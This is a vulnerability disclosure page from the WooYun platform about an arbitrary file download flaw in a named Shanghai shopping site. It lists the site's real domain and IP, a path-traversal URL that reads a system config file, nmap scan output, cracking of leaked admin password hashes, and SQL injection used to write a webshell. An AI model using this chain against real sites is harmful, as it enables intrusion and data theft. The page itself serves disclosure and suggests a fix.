当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-080719
漏洞标题：
上海商城任意文件下载可webshell
相关厂商：
上海商城
漏洞作者：
feix
提交时间：
2014-10-25 21:39
修复时间：
2014-12-09 21:40
公开时间：
2014-12-09 21:40
漏洞类型：
任意文件遍历/下载
危害等级：
高
自评Rank：
10
漏洞状态：
未联系到厂商或者厂商积极忽略
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-10-25： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-12-09： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

任意文件下载，泄漏数据库，获取webshell

详细说明：

www.shanghaicentre.com/download.php?file=download.php

1.png


对 file 参数没有做任何过滤,可以下载任意文件。
include/config.php
文件泄漏数据库配置和 smtp 配置(smtp 密码写在另一个php文件)

Selection_008.png


nmap -A 192.241.162.27
Nmap scan report for www.shanghaicentre.com (192.241.162.27)
Host is up (0.26s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.2.2
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
873/tcp open rsync (protocol version 30)
3306/tcp open mysql MySQL (unauthorized)
Service Info: OS: Unix
开了 rsync，直接连连不上去，下载配置文件看看，
www.shanghaicentre.com/download.php?file=../../../etc/rsyncd/rsyncd.conf
log file = /var/log/rsync.log
下载rsync.log，发现管理后台 www.shanghaicentre.com/vadmin/ 和数据库备份文件路径

Selection_009.png


md5跑一下，密码设置的很简单，进入管理后台，
http://www.shanghaicentre.com/vadmin/admin_edit.php?a_id=1

Selection_010.png


其中 a_id 没有过滤，可注入写文件，获取 webshell。

漏洞证明：

Selection_010.png

修复方案：

对所有 download.php 里 file 参数进行过滤

版权声明：转载请注明来源 feix@乌云

>

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝